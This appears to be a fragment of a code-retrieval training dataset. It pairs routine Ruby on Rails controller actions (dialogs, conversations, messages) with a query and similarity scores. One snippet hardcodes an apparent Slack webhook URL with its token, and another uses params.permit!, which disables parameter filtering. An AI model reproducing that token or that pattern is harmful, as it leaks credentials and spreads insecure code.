"def show\n unless params[:conversation_id]\n render json: { success: 'no', msg: 'not enough info' }\n return\n end\n if !Direct.exists?(conversation_id: params[:conversation_id]) & !Group.exists?(conversation_id: params[:conversation_id])\n render json: { success: 'no', msg: 'convo does not exist' }\n return\n end\n unless Message.exists?(conversation_id: params[:conversation_id])\n render json: { success: 'no', msg: 'no messages' }\n return\n end\n\n allMsgs = Array.new\n Message.where(conversation_id: params[:conversation_id]).find_each do |message|\n senderNickname = UserProfile.find_by(user_id: message.sender_id).nick_name\n senderEmail = User.find_by(user_id: message.sender_id).email\n output = { :conversation_id => message.conversation_id, :sender_nickname => senderNickname , :sender_email => senderEmail, :message_body => message.message_body, :updated_at => message.updated_at }\n\n allMsgs.push(output)\n end\n\n render json: { success: 'ok', messageList: allMsgs }\n end",
"def show\n @conversation = Conversation.includes(\n { agenda_items: [:owner, { deliverables: [:parent, :owner, :assignee] }] },\n { deliverables: [:owner, :assignee, :parent] },\n { organization: { organization_members: :member }},\n { conversation_members: :member }\n ).find(params[:id])\n authorize @conversation\n\n render json: @conversation, include: %w(agenda_items deliverables agenda_item_deliverables organization organization.organization_members.member conversation_members)\n end",
"def show\n @chat = Chat.find(params[:id])\n @receiver = interlocutor(@chat)\n @messages = @chat.messages\n @message = Message.new\n render json: $message\n end",
"def show\n @message_flow = MessageFlow.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @message_flow }\n end\n end",
"def new\n @game = Game.new\n @participants = Participant.find_all_by_meeting_id(@meeting.id)\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @game }\n end\n end",
"def show\n @interaction = Interaction.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @interaction }\n end\n end",
"def show\n @mensaje = Mensaje.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @mensaje }\n end\n end",
"def getConversations\n @conversations = Conversation.all.select(\"name\").map(&:name)\n\n respond_to do |format|\n format.json {render :json => {:conversations => @conversations}}\n end\n end",
"def index\n if params[:message_id]\n @messagefacts = Message.find(params[:message_id]).messagefacts\n else\n @messagefacts = Messagefact.all\n end\n respond_to do |format|\n format.json {\n render :json => @messagefacts, :layout => false\n }\n end\n end",
"def new\n @chat = Chat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @chat }\n end\n end",
"def show\n @message = Message.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :_message }\n end\n end",
"def show\n @alert = Alert.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @alert }\n end\n end",
"def show\n @alert = Alert.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @alert }\n end\n end",
"def show\n @alert = Alert.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @alert }\n end\n end",
"def show\n channel = Channel.find(params[:id])\n json_response(channel)\n end",
"def show\n @notice = Notice.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @notice }\n end\n end"
] |
[
"0.66501844",
"0.61568856",
"0.6150922",
"0.6146419",
"0.6136457",
"0.6100177",
"0.60822153",
"0.6065243",
"0.6065243",
"0.6010787",
"0.59974355",
"0.59452933",
"0.59452933",
"0.5881847",
"0.58253556",
"0.58125025",
"0.5808339",
"0.58059293",
"0.58059293",
"0.5789136",
"0.578001",
"0.5765576",
"0.5751595",
"0.57299227",
"0.57134813",
"0.57023245",
"0.57023245",
"0.57023245",
"0.57023245",
"0.5699861",
"0.56873214",
"0.5677652",
"0.5669852",
"0.56390405",
"0.5635622",
"0.5633613",
"0.56267285",
"0.5624628",
"0.55895907",
"0.557862",
"0.5577345",
"0.5577345",
"0.5563183",
"0.5548812",
"0.55453753",
"0.5535223",
"0.5512707",
"0.55102056",
"0.54804516",
"0.547491",
"0.54741436",
"0.5463314",
"0.54502004",
"0.5433393",
"0.5427346",
"0.54259354",
"0.54002655",
"0.5398271",
"0.5392886",
"0.5392886",
"0.5392886",
"0.5392886",
"0.5392886",
"0.5392886",
"0.5392886",
"0.5392886",
"0.5392886",
"0.5392886",
"0.5392886",
"0.5392886",
"0.5392886",
"0.5392886",
"0.5392886",
"0.5392886",
"0.5392886",
"0.5392886",
"0.5392886",
"0.5392886",
"0.53917503",
"0.53781086",
"0.5363774",
"0.5363594",
"0.5359019",
"0.5349351",
"0.53493047",
"0.53448457",
"0.5341056",
"0.533694",
"0.53283864",
"0.5328008",
"0.532751",
"0.5323213",
"0.5317776",
"0.5309942",
"0.53068435",
"0.53027356",
"0.53019524",
"0.53019524",
"0.5295878",
"0.5295196"
] |
0.56716377
|
32
|
POST /dialogs POST /dialogs.json
|
def create
@dialog = Dialog.new(dialog_params)
respond_to do |format|
if @dialog.save
format.html { redirect_to @dialog, notice: 'Dialog was successfully created.' }
format.json { render action: 'show', status: :created, location: @dialog }
else
format.html { render action: 'new' }
format.json { render json: @dialog.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n @dialog = Dialog.new(dialog_params)\n\n respond_to do |format|\n if @dialog.save\n format.html { redirect_to @dialog, notice: 'Dialog was successfully created.' }\n format.json { render :show, status: :created, location: @dialog }\n else\n format.html { render :new }\n format.json { render json: @dialog.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @dialogue = Dialogue.new(dialogue_params)\n\n respond_to do |format|\n if @dialogue.save\n format.html { redirect_to @dialogue, notice: 'Dialogue was successfully created.' }\n format.json { render :show, status: :created, location: @dialogue }\n else\n format.html { render :new }\n format.json { render json: @dialogue.errors, status: :unprocessable_entity }\n end\n end\n end",
"def dialog_params\n params.require(:dialog).permit(:patient_id, :user_message, :patient_reply)\n end",
"def dialog_params\n params.require(:dialog).permit(:message, :chat_id, :propose_id, :project_id, :profile_id, speeches_attributes:[:id, :profile_id, :propose_id, :project_id, :dialog_id, :message])\n end",
"def dialogue_params\n params.require(:dialogue).permit(:title, :stirng)\n end",
"def create\n @dialog_turn = DialogTurn.new(params[:dialog_turn])\n\n respond_to do |format|\n if @dialog_turn.save\n format.html { redirect_to(@dialog_turn, :notice => 'DialogTurn was successfully created.') }\n format.xml { render :xml => @dialog_turn, :status => :created, :location => @dialog_turn }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @dialog_turn.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def destroy\n @dialog.destroy\n respond_to do |format|\n format.html { redirect_to dialogs_url }\n format.json { head :no_content }\n end\n end",
"def new\n @activity = Activity.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.dialog { render :new, layout: false }\n format.json { render json: @activity }\n end\n end",
"def destroy\n @dialog.destroy\n respond_to do |format|\n format.html { redirect_to dialogs_url, notice: 'Dialog was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def update\n respond_to do |format|\n if @dialog.update(dialog_params)\n format.html { redirect_to @dialog, notice: 'Dialog was successfully updated.' }\n format.json { render :show, status: :ok, location: @dialog }\n else\n format.html { render :edit }\n format.json { render json: @dialog.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @dialog_turn = DialogTurn.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @dialog_turn }\n end\n end",
"def index\n @dialogs = Dialog.all\n end",
"def update\n respond_to do |format|\n if @dialog.update(dialog_params)\n format.html { redirect_to @dialog, notice: 'Dialog was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @dialog.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_dialogue\n @dialogue = Dialogue.find(params[:id])\n end",
"def set_dialog\n @dialog = Dialog.find(params[:id])\n end",
"def set_dialog\n @dialog = Dialog.find(params[:id])\n end",
"def set_dialog\n @dialog = Dialog.find(params[:id])\n end",
"def set_dialog\n @dialog = Dialog.find(params[:id])\n end",
"def new\n @bot = Bot.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bot }\n end\n end",
"def create\n @compromise = Compromise.new(compromise_params)\n\n if @compromise.save\n create_for_each_notification_type(@compromise)\n render json: @compromise, status: :created, location: @compromise\n else\n render json: @compromise.errors, status: :unprocessable_entity\n end\n end",
"def destroy\n @dialogue.destroy\n respond_to do |format|\n format.html { redirect_to dialogues_url, notice: 'Dialogue was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def new\n @new_message = Message.find(params[:message_id]).responses.build\n @options = {:url => message_responses_path(:id => params[:message_id]), :method => :post}\n respond_to do |format| \n format.html\n format.js\n end\n end",
"def create\n @conversation = Conversation.new(conversation_params)\n\n if @conversation.save\n render json: @conversation, status: :created, location: @conversation\n else\n render json: @conversation.errors, status: :unprocessable_entity\n end\n end",
"def new\n @prompt = Prompt.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @prompt }\n end\n end",
"def new\n @prompt = Prompt.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @prompt }\n end\n end",
"def create\n redirect_user\n @respondent = Respondent.new(respondent_params)\n\n respond_to do |format|\n if @respondent.save\n format.html { redirect_to @respondent, notice: 'Encuestado creado.' }\n format.json { render :show, status: :created, location: @respondent }\n else\n format.html { render :new }\n format.json { render json: @respondent.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @conversation = Conversation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @conversation }\n end\n end",
"def new\n @conversation = Conversation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @conversation }\n end\n end",
"def create\n @draft = Draft.new(draft_params)\n @page = Page.find(params[:page][:id])\n\n respond_to do |format|\n if @draft.save\n (User.supervisors.uniq - [current_user]).each do |s|\n Notification.create(recipient_id: s.id, actor_id: current_user.id, message: \"#{current_user.fullname} created a draft for \\\"#{@page.title}\\\"\", draft_id: @draft.id)\n end\n\n format.html { redirect_to root_path, notice: 'Draft was successfully created.' }\n format.json { render :show, status: :created, location: @draft }\n else\n format.html { render :new }\n format.json { render json: @draft.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @prompt = Prompt.new(params[:prompt])\n\n respond_to do |format|\n if @prompt.save\n format.html { redirect_to @prompt, notice: 'Prompt was successfully created.' }\n format.json { render json: @prompt, status: :created, location: @prompt }\n else\n format.html { render action: \"new\" }\n format.json { render json: @prompt.errors, status: :unprocessable_entity }\n end\n end\n end",
"def post_messages!(hash)\n Net::HTTP.post_form(URI.parse(@target), {'data'=>hash.to_json})\n end",
"def create\n @bot = Bot.new(params[:bot])\n\n respond_to do |format|\n if @bot.save\n format.html { redirect_to @bot, notice: 'Bot was successfully created.' }\n format.json { render json: @bot, status: :created, location: @bot }\n else\n format.html { render action: \"new\" }\n format.json { render json: @bot.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n if params[:new_conversation]\n conversation = Conversation.find(params[:conversation_id])\n conversation.mentor_id = current_user.id\n conversation.save\n @message = Message.new\n @message.conversation_id = params[:conversation_id]\n @message.value = params[:value]\n @message.owner_type = current_user.user_type\n @message.data_type = params[:data_type]\n\n else\n conversation = Conversation.find(params[:conversation_id])\n if (conversation.nil? || ( conversation.mentor_id != current_user.id && conversation.mentee_id != current_user.id) )\n render status: 401, nothing: true\n end\n\n @message = Message.new\n @message.conversation_id = params[:conversation_id]\n @message.value = params[:value]\n @message.owner_type = current_user.user_type\n @message.data_type = params[:data_type]\n end\n \n if @message.save\n @data = @message.attributes\n owner = @message.conversation.send(@message.owner_type)\n @data['name'] = owner.first_name \n @data['picture_url'] = owner.picture_url\n render status: 200, json: @data\n else\n render status: 500, nothing: true\n end\n end",
"def create\n @prompt = Prompt.new(prompt_params)\n\n if @prompt.save\n render :show, status: :created, location: @prompt\n else\n render json: @prompt.errors, status: :unprocessable_entity\n end\n end",
"def new\n @conversation = Conversation.new\n logger.debug \"In new!\"\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @conversation }\n end\n end",
"def new\n @presence = Presence.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @presence }\n end\n end",
"def dialog_params\n params.permit(:name, :topic_id)\n end",
"def index\n @dialogues = Dialogue.all\n end",
"def create\n @conversation = Conversation.new(params[:conversation])\n\n respond_to do |format|\n if @conversation.save\n format.html { redirect_to @conversation, notice: 'Conversation was successfully created.' }\n format.json { render json: @conversation, status: :created, location: @conversation }\n else\n format.html { render action: \"new\" }\n format.json { render json: @conversation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @dialogue.update(dialogue_params)\n format.html { redirect_to @dialogue, notice: 'Dialogue was successfully updated.' }\n format.json { render :show, status: :ok, location: @dialogue }\n else\n format.html { render :edit }\n format.json { render json: @dialogue.errors, status: :unprocessable_entity }\n end\n end\n end",
"def intent_params\n params.permit(:id, :name, :bot_id, :dialog_id, :description)\n end",
"def from_json\n flash[:success] = I18n.t('questionnaires.preview_saved')\n redirect_to :interactive_questionnaire_index\n end",
"def dialog_params\n params.require(:dialog).permit(:ip, :coordinates, :city)\n end",
"def create\n @diet = Diet.new(diet_params)\n @diet.user = @current_user\n\n if @diet.save\n render json: @diet, status: 201, location: @diet, root: true\n else\n render json: @diet.errors, status: 422\n end\n end",
"def process_dialogs(dialogs, task)\n process_elements(dialogs, Dialog, task)\n end",
"def create\n new_game = helpers.generate_game(params[\"game_name\"])\n\n slack_id = params[\"slack_id\"]\n\n response_url = params[\"response_url\"]\n\n @game = Game.new(new_game.new_game_data)\n\n if @game.save\n player = Player.exists?(slack_id: \"#{slack_id}\")\n if player\n player_records = Player.find_by(slack_id: \"#{slack_id}\")\n Rails.logger.info player_records[\"id\"].inspect\n render :json => {game_id: \"#{@game.id}\", player: \"#{player}\", player_id: \"#{player_records[\"id\"]}\"}\n else\n render :json => {game_id: \"#{@game.id}\", player: \"#{player}\"}\n end\n else\n render json: @game.errors, status: :unprocessable_entity\n end\n\n word_blanks = new_game.display_word_state\n\n HTTParty.post(response_url, \n {\n body: {\"text\" => \"#{word_blanks}\",\"response_type\" => \"in_channel\"}.to_json,\n headers: {\n \"Content-Type\" => \"application/json\"\n }\n }\n )\n \n end",
"def index\n if params[:dialog].present?\n @dialog = Dialog.find(params[:dialog])\n @dialog.update_attributes(no_read: '0')\n @area = Area.where(id: @dialog.url_start.split('/')[1]).first if @dialog.url_start.present?\n @messages = @dialog.messages.desc(:created_at)\n @geo = Geocoder.search @dialog.ip\n end\n @dialogs = Dialog.ne(done: true).desc(:last_message).page(params[:page]).per(15)\n end",
"def create\n @conversation = Conversation.new(conversation_params)\n @conversation.status = 'new'\n\n if user_signed_in?\n @conversation.user_id = current_user.id\n else\n\n if current_visit.blank?\n @conversation.visitor_id = cookies[:ahoy_visitor]\n else\n @conversation.visitor_id = current_visit.visitor_id\n end\n\n end\n\n if @conversation.save\n @message = @conversation.new_message(params[:message])\n\n render json: @message, status: :created\n else\n render json: @conversation.errors, status: :unprocessable_entity\n end\n\n end",
"def create\n @respuesta = Respuesta.new(params[:respuesta])\n\n if @respuesta.save\n render json: @respuesta, status: :created, location: @respuesta\n else\n render json: @respuesta.errors, status: :unprocessable_entity\n end\n end",
"def new\n @puntaje = Puntaje.new\n atributos\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @puntaje }\n end\n end",
"def new\n @puntaje = Puntaje.new\n atributos\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @puntaje }\n end\n end",
"def create\n category = params[:text].scan(/#(\\w+)/).flatten\n\n idea = Idea.create!(\n content: params[:text],\n category: category,\n user: User.find_by(uid: params[:user_id]),\n channel: params[:channel_name],\n stage: \"seed\"\n )\n json = {\n \"text\": \"#{idea.content}\",\n \"attachments\": [\n {\n \"text\": \"#{idea.user.firstname} just logged a new idea!\",\n \"fallback\": \"You are unable to choose a game\",\n \"callback_id\": \"wopr_game\",\n \"color\": \"#3AA3E3\",\n \"attachment_type\": \"default\",\n \"actions\": [\n {\n \"name\": \"game\",\n \"text\": \"endorse\",\n \"type\": \"button\",\n \"value\": \"chess\"\n },\n {\n \"name\": \"game\",\n \"text\": \"Suggest\",\n \"type\": \"button\",\n \"value\": \"maze\"\n },\n ]\n }\n ]\n }\n\n render json: json\n end",
"def create\n @disponible = Disponible.new(disponible_params)\n\n if @disponible.save\n render json: @disponible, status: :created, location: @disponible\n else\n render json: @disponible.errors, status: :unprocessable_entity\n end\n end",
"def create\r\n @respuestum = Respuestum.new(respuestum_params)\r\n\r\n respond_to do |format|\r\n if @respuestum.save\r\n format.html { redirect_to @respuestum, notice: 'Respuestum was successfully created.' }\r\n format.json { render :show, status: :created, location: @respuestum }\r\n else\r\n format.html { render :new }\r\n format.json { render json: @respuestum.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def new\n @status_confirmacao_adotando = StatusConfirmacaoAdotando.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @status_confirmacao_adotando }\n end\n end",
"def create\n @notify_me = current_app.notify_mes.new(params[:notify_me])\n if @notify_me.save\n render json: 'ok', status: 201\n else\n render json: {errors: @notify_me.errors }, status: 422\n end\n end",
"def create\n @presence = Presence.new(presence_params)\n\n respond_to do |format|\n if @presence.save\n format.html { redirect_to profesor_presence_path(@presence), notice: 'Asistencia correctamente creada.' }\n format.json { render :show, status: :created, location: @profesor_presence }\n else\n format.html { render :new }\n format.json { render json: @presence.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @game = current_or_guest_user.games.create\n render json: @game, status: 201\n end",
"def create\n @conversation = Conversation.new(conversation_params)\n\n respond_to do |format|\n if @conversation.save\n format.html { redirect_to @conversation, notice: 'Conversation was successfully created.' }\n format.json { render action: 'show', status: :created, location: @conversation }\n else\n format.html { render action: 'new' }\n format.json { render json: @conversation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @roombot = Roombot.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @roombot }\n end\n end",
"def create\n @conversation = Conversation.new(conversation_params)\n\n respond_to do |format|\n if @conversation.save\n format.html { redirect_to @conversation, notice: 'Conversation was successfully created.' }\n format.json { render :show, status: :created, location: @conversation }\n else\n format.html { render :new }\n format.json { render json: @conversation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @conversation = Conversation.new(conversation_params)\n\n respond_to do |format|\n if @conversation.save\n format.html { redirect_to @conversation, notice: 'Conversation was successfully created.' }\n format.json { render :show, status: :created, location: @conversation }\n else\n format.html { render :new }\n format.json { render json: @conversation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @notice = @person.notices.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @notice }\n end\n end",
"def create\n @conversation = Conversation.find(params[:conversation_id])\n if @conversation.messages.create(sender: current_user,\n content: params[:message][:content])\n redirect_to @conversation\n else\n flash[:error] = \"A problem occured\"\n redirect_to @conversation\n end\n #respond_to do |format|\n # format.js { render json: @message }\n # format.html { redirect_back_or_to :back }\n #end\n end",
"def create\n current_user.diet_ids = params[:diets]\n\n redirect_to dietary_preferences_path\n\n\n # respond_to do |format|\n # if @dietary_preference.save\n # format.html { redirect_to @dietary_preference, notice: 'Dietary preference was successfully created.' }\n # format.json { render :show, status: :created, location: @dietary_preference }\n # else\n # format.html { render :new }\n # format.json { render json: @dietary_preference.errors, status: :unprocessable_entity }\n # end\n # end\n end",
"def create\n megam_rest.post_accounts(to_hash)\n end",
"def new\n @assunto = Assunto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @assunto }\n end\n end",
"def new\n redirect_to new_prospecto_path, :flash => { :info => \"No es posible crear Inscritos sin antes seguir el proceso\" } \n @inscrito = Inscrito.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @inscrito }\n end\n end",
"def create\n @draft = Draft.new(params[:draft])\n\n respond_to do |format|\n if @draft.save\n format.html { redirect_to @draft, :notice => 'Draft was successfully created.' }\n format.json { render :json => @draft, :status => :created, :location => @draft }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @draft.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @compromise = Compromise.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @compromise }\n end\n end",
"def create\n @respuesta = Respuesta.new(params[:respuesta])\n\n respond_to do |format|\n if @respuesta.save\n format.html { redirect_to @respuesta, notice: 'Respuesta was successfully created.' }\n format.json { render json: @respuesta, status: :created, location: @respuesta }\n else\n format.html { render action: \"new\" }\n format.json { render json: @respuesta.errors, status: :unprocessable_entity }\n end\n end\n end",
"def EnviaMensaje(estado)\n if estado\n print \"\\tEnviar mensaje...\\n\"\n mensaje = '{\"text\":\"Se detectaron cambios de configuracion, se requiere un reinicio del servicio, se programo un reinicio para las 03:00\"}'\n url= 'https://hooks.slack.com/services/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'\n Faraday.post(url,mensaje, \"Content-Type\" => \"application/json\")\n Dir.chdir(\"C:\\\\Imatch\\\\scripts\")\n File.open(\"flag.dat\", 'w') do |registro|\n end\n end\nend",
"def create\n # accept\n if params[:accept]\n # create team_challenge\n team_challenge = TeamChallenge.new\n challenge_message_id = nil\n hash = params[:accept]\n if hash != nil\n hash_invert = hash.invert\n challenge_message_id = hash_invert.values_at(\"accept\").first.to_i\n end\n challenge_message = ChallengeMessage.find(challenge_message_id)\n team_challenge.sender_team_id = challenge_message.sender_team_id\n team_challenge.receiver_team_id = challenge_message.receiver_team_id\n team_challenge.datetime = challenge_message.datetime\n team_challenge.location = challenge_message.location\n team_challenge.save\n \n # create challenge_message (message_type = 2)\n challenge_message2 = ChallengeMessage.new\n challenge_message2.user_id = current_user.id\n challenge_message2.sender_team_id = team_challenge.receiver_team_id\n challenge_message2.receiver_team_id = team_challenge.sender_team_id\n challenge_message2.message_type = 2\n challenge_message2.save\n end\n\n # reject\n if params[:reject]\n # create challenge_message (message_type = 3)\n challenge_message_id = nil\n hash = params[:reject]\n if hash != nil\n hash_invert = hash.invert\n challenge_message_id = hash_invert.values_at(\"reject\").first.to_i\n end\n\n challenge_message3 = ChallengeMessage.new\n challenge_message3.user_id = current_user.id\n challenge_message3.sender_team_id = ChallengeMessage.find(challenge_message_id).receiver_team_id\n challenge_message3.receiver_team_id = ChallengeMessage.find(challenge_message_id).sender_team_id\n challenge_message3.message_type = 3\n challenge_message3.save\n end\n redirect_to '/admin/home'\n end",
"def create\n @roombot = Roombot.new(params[:roombot])\n\n respond_to do |format|\n if @roombot.save\n format.html { redirect_to @roombot, notice: 'Roombot was successfully created.' }\n format.json { render json: @roombot, status: :created, location: @roombot }\n else\n format.html { render action: \"new\" }\n format.json { render json: @roombot.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @convo = Convo.new(params[:convo])\n @convo.user_id = current_user.id\n upmerituser(current_user, 10)\n respond_to do |format|\n if @convo.save\n format.html { redirect_to convo_posts_url(:convo_id => @convo.id), notice: 'New conversation created.' }\n format.json { render json: convo_posts_url(:convo_id => @convo.id), status: :created, location: @convo }\n else\n format.html { render action: \"new\" }\n format.json { render json: @convo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\n @respuestum = Respuestum.new(respuestum_params)\n # @comentario = Comentario.find(params[:id])\n #nombre = params[:nombre]\n #correo = params[:correo]\n #comentario = params[:comentario]\n\n #@respuestum = Respuestum.create(:nombre => string, :correo => string, :descripcion => text,:comentario_id => @comentario.id)\n\n respond_to do |format|\n if @respuestum.save\n format.html { redirect_to comentarios_url}\n format.json { render :show, status: :created, location: @respuestum }\n else\n format.html { render :new }\n format.json { render json: @respuestum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @ptrack = Ptrack.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @ptrack }\n end\n end",
"def create\n @opportunity = Opportunity.new(opportunity_params)\n @opportunity.status = \"Draft\"\n\n if @opportunity.save\n render json: @opportunity, status: :created, location: @opportunity\n else\n render json: @opportunity.errors, status: :unprocessable_entity\n end\n end",
"def create\n @puntaje = Puntaje.new(params[:puntaje])\n\n respond_to do |format|\n if @puntaje.save\n format.html { redirect_to @puntaje, notice: 'Puntaje was successfully created.' }\n format.json { render json: @puntaje, status: :created, location: @puntaje }\n else\n atributos\n format.html { render action: \"new\" }\n format.json { render json: @puntaje.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @modalities = Modality.create!(modality_params)\n json_response(@modalities, :created)\n end",
"def submit_form\n answers_params = params.permit!\n\n render json: Answer.insert_answers(answers_params, current_user[\"id\"])\n end",
"def new\n # call to create will generate a new post with these information and on this aspect\n text=params[:text]\n logger.info('activities_controller.new [text] '+text)\n # OLD # message = {'status_message'=>{'text'=>text},'aspect_name' => params[:id]}\n # OLD # @response =JSON.parse(current_user.access_token.token.post('/api/v0/posts/new', message))\n if (text.include?(\" enter \") || text.include?(\" leave \"))\n user = text.split[0] # split already separates using spaces between words\n domain = \"@idea.itu.dk:3000\"\n mention = \"@{\"+user+\"; \"+user+domain+\"}\" \n text_el = text.split\n msg = mention + \" \"+ text_el[1]+\" \"+text_el[2]\n else\n msg=text\n end \n message = {'status_message'=>{'text'=>msg},'aspect_name' => params[:id],'tag'=> params[:id]}\n @response =JSON.parse(current_user.access_token.token.post('/api/v0/create', message))\n \n\n\n # Generate a post on the genie hub\n # POST http://tiger.itu.dk:8004/informationbus/publish\n # (form encoded)\n # event=<event>\n getConn\n event = {\"activity\"=>params[:id],\"actor\"=>current_user.diaspora_id.split('@')[0],\"content\"=>text,\"timestamp\"=>\"\",\"generator\"=>\"server\"}.to_json\n @gh_respons = @conn.post '/informationbus/publish', {:event=>event}\n \n @status_message = @response\n respond_to do |format|\n format.html\n format.json {render :json=> @response, :callback=>params[:callback]}#{render json: @response}\n end\n \n end",
"def create\n logger.debug \"In create!!\"\n @conversation = Conversation.new(params[:conversation])\n @conversation.update_attributes(:postedByUser => current_user.id)\n\n respond_to do |format|\n if @conversation.save\n format.html { redirect_to @conversation, notice: 'Conversation was successfully created.' }\n format.json { render json: @conversation, status: :created, location: @conversation }\n else\n format.html { render action: 'new' }\n format.json { render json: @conversation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @new_game = Game.create(game_params)\n render json: @new_game\n\n end",
"def create\n @mensagem = Mensagem.new(mensagem_params)\n\n respond_to do |format|\n if @mensagem.save\n format.html { redirect_to @mensagem.presente.lista, notice: 'Mensagem Adicionada. Após aprovação do proprietário da lista será exibida.' }\n format.json { render action: 'show', status: :created, location: @mensagem }\n else\n format.html { render action: 'new' }\n format.json { render json: @mensagem.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @message = Message.new\n\n render json: @message\n end",
"def socio_economico_submit\n\n # responding for the first time\n if not session[:current_response_id]\n current_response = nil\n # preparing the object to store the surveys and requests data\n json_response = { 'surveys' => [], 'requests' => [] }\n else\n current_response = FormResponse.find(session[:current_response_id])\n json_response = JSON.parse current_response.json_response\n end\n\n # appending the new response to the array of surveys\n surveys_number = json_response['surveys'].size\n json_response['surveys'] = [] if surveys_number == 0\n json_response['surveys'].push(\n params.merge({\n :attempt => (surveys_number + 1),\n :sent_at => Time.zone.now\n })\n )\n\n if current_response\n current_response.update({\n json_response: json_response.to_json\n })\n else\n # the response must be created only in this form\n # and not in the request form!\n current_response = FormResponse.create({\n form_id: Form.where(reference_model: 'FormVagasRemanescentes').first.id,\n user: current_user.email,\n json_response: json_response.to_json\n })\n\n # storing the response id in session to access it\n # from the other form, the request form\n session[:current_response_id] = current_response.id\n end\n\n redirect_to action: 'pedido'\n end",
"def create\n @status_confirmacao_adotando = StatusConfirmacaoAdotando.new(params[:status_confirmacao_adotando])\n\n respond_to do |format|\n if @status_confirmacao_adotando.save\n format.html { redirect_to @status_confirmacao_adotando, notice: 'Status confirmacao adotando was successfully created.' }\n format.json { render json: @status_confirmacao_adotando, status: :created, location: @status_confirmacao_adotando }\n else\n format.html { render action: \"new\" }\n format.json { render json: @status_confirmacao_adotando.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n respond_to do |format|\n if @team.advices.create_from_params(advice_params)\n format.html { redirect_to advices_path, notice: 'Message successfully created.' }\n format.json { render :show, status: :created, location: @advice }\n else\n format.html { redirect_to advices_path, error: 'Was unable to save the message.' }\n format.json { render json: @advice.errors, status: :unprocessable_entity }\n end\n end\n end",
"def publish_form\n form_data = params.require(:form).permit(:id)\n\n render json: Form.publish_form(form_data[:id], current_user[\"id\"])\n end",
"def create\n megam_rest.post_appdefn(to_hash)\n end",
"def new\n @game = Game.new\n @participants = Participant.find_all_by_meeting_id(@meeting.id)\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @game }\n end\n end",
"def create\n @mensagem = Mensagem.new(params[:mensagem])\n @mensagem.autor = session[:current_user]\n id_to_post = String.new\n \n case @mensagem.recebedor_type\n when \"Turma\"\n aux = Turma.find(@mensagem.recebedor_id)\n id_to_post = aux.group_id\n end\n \n @mensagem.post_id = api_client.put_wall_post(@mensagem.conteudo, {}, id_to_post)['id']\n\n respond_to do |format|\n if @mensagem.save\n #format.html { redirect_to(@mensagem, :notice => 'Mensagem was successfully created.') }\n format.xml { render :xml => @mensagem, :status => :created, :location => @mensagem }\n format.js {}\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @mensagem.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @notice = Notice.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @notice }\n end\n end",
"def new\n @pot = Pot.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pot }\n end\n end",
